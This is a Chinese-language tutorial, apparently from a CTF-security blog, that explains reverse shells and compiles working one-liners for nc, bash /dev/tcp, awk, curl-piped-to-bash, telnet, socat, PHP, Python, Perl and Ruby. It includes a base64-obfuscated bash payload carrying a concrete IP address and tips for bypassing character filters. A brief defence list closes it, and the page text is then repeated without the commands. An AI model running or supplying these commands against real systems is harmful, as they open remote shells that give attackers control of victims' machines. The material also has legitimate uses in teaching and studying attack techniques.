从一道题目中学习反弹shell
字数 973 2025-08-12 11:34:48

反弹Shell技术详解

一、反弹Shell概念

反弹Shell(Reverse Shell)是指:

  • 控制端监听在某个TCP/UDP端口
  • 被控端主动向该端口发起请求
  • 将被控端的命令行输入输出转移到控制端

本质:实现客户端与服务端角色的互换

二、使用反弹Shell的场景

  1. 目标环境不稳定(如动态环境)
  2. 目标机无法接收请求但可以发送请求
  3. 防火墙限制导致目标机只能出站不能入站
  4. 目标IP动态变化难以持续控制
  5. 目标处于内网无法直接连接
  6. 不确定目标何时在线的情况下建立持久控制

三、常见反弹Shell方法

1. Netcat (nc) 方法

攻击机监听命令

nc -lvnp 7777

参数说明:

  • -l:监听模式
  • -v:显示详细过程
  • -n:直接使用IP地址
  • -p:指定监听端口

目标机连接命令

nc <攻击机IP> 7777 -e /bin/bash

-e参数表示连接后执行指定程序

2. Bash方法

基本命令

bash -i >& /dev/tcp/<攻击机IP>/7777 0>&1

命令解析

  • bash -i:打开交互式shell
  • >&:将前面和后面一起重定向
  • /dev/tcp/<IP>/<PORT>:建立TCP连接
  • 0>&1:将标准输入重定向到标准输出

Base64编码绕过

bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEzNC4yMTIuMjI1LjE0Mi83Nzc3IDA+JjEgIA==}|{base64,-d}|{bash,-i}'

3. AWK方法

命令

awk 'BEGIN{s="/inet/tcp/0/<攻击机IP>/7777";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

4. Curl+Bash组合方法

适用场景:当目标机过滤特殊字符时

攻击机准备

  1. 在Web服务器上放置内容为反弹Shell命令的文件
  2. 监听端口

目标机执行

curl <攻击机IP>|bash

5. Telnet方法

方法一

telnet <攻击机IP> 7777 | /bin/bash | telnet <攻击机IP> 6379
  • 7777端口用于发送命令
  • 6379端口用于接收输出

方法二

mknod a p; telnet <攻击机IP> 7777 0<a | /bin/bash 1>a

(需要root权限)

6. Socat方法

安装

apt-get install socat

目标机执行

socat tcp-connect:<攻击机IP>:7777 exec:'bash -li',pty,stderr,setsid,sigint,sane

四、编程语言实现的反弹Shell

1. PHP

php -r '$sock=fsockopen("<攻击机IP>",<端口>);exec("/bin/sh -i <&3 >&3 2>&3");'

2. Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻击机IP>",<端口>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

3. Perl

perl -e 'use Socket;$i="<攻击机IP>";$p=<端口>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

4. Ruby

ruby -rsocket -e 'c=TCPSocket.new("<攻击机IP>","<端口>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

五、绕过过滤的技巧

  1. 通配符替代:如f*替代flag
  2. Base64编码:绕过特殊字符过滤
  3. 管道符组合:如curl|bash组合
  4. 重定向输出:将命令结果写入文件再读取
  5. 使用不常见命令:如awk、socat等

六、防御措施

  1. 限制命令执行函数的使用
  2. 过滤特殊字符和敏感命令
  3. 使用最小权限原则运行服务
  4. 监控异常网络连接
  5. 定期更新系统和应用补丁

七、总结

反弹Shell是渗透测试中重要的技术手段,掌握多种实现方法有助于在不同限制环境下建立控制通道。理解其原理和实现方式不仅对攻击方重要,对防御方识别和防范此类攻击同样关键。

反弹Shell技术详解 一、反弹Shell概念 反弹Shell(Reverse Shell)是指: 控制端监听在某个TCP/UDP端口 被控端主动向该端口发起请求 将被控端的命令行输入输出转移到控制端 本质:实现客户端与服务端角色的互换 二、使用反弹Shell的场景 目标环境不稳定(如动态环境) 目标机无法接收请求但可以发送请求 防火墙限制导致目标机只能出站不能入站 目标IP动态变化难以持续控制 目标处于内网无法直接连接 不确定目标何时在线的情况下建立持久控制 三、常见反弹Shell方法 1. Netcat (nc) 方法 攻击机监听命令 : 参数说明: -l :监听模式 -v :显示详细过程 -n :直接使用IP地址 -p :指定监听端口 目标机连接命令 : -e 参数表示连接后执行指定程序 2. Bash方法 基本命令 : 命令解析 : bash -i :打开交互式shell >& :将前面和后面一起重定向 /dev/tcp/<IP>/<PORT> :建立TCP连接 0>&1 :将标准输入重定向到标准输出 Base64编码绕过 : 3. AWK方法 命令 : 4. Curl+Bash组合方法 适用场景 :当目标机过滤特殊字符时 攻击机准备 : 在Web服务器上放置内容为反弹Shell命令的文件 监听端口 目标机执行 : 5. Telnet方法 方法一 : 7777端口用于发送命令 6379端口用于接收输出 方法二 : (需要root权限) 6. Socat方法 安装 : 目标机执行 : 四、编程语言实现的反弹Shell 1. PHP 2. Python 3. Perl 4. Ruby 五、绕过过滤的技巧 通配符替代 :如 f* 替代 flag Base64编码 :绕过特殊字符过滤 管道符组合 :如 curl|bash 组合 重定向输出 :将命令结果写入文件再读取 使用不常见命令 :如awk、socat等 六、防御措施 限制命令执行函数的使用 过滤特殊字符和敏感命令 使用最小权限原则运行服务 监控异常网络连接 定期更新系统和应用补丁 七、总结 反弹Shell是渗透测试中重要的技术手段,掌握多种实现方法有助于在不同限制环境下建立控制通道。理解其原理和实现方式不仅对攻击方重要,对防御方识别和防范此类攻击同样关键。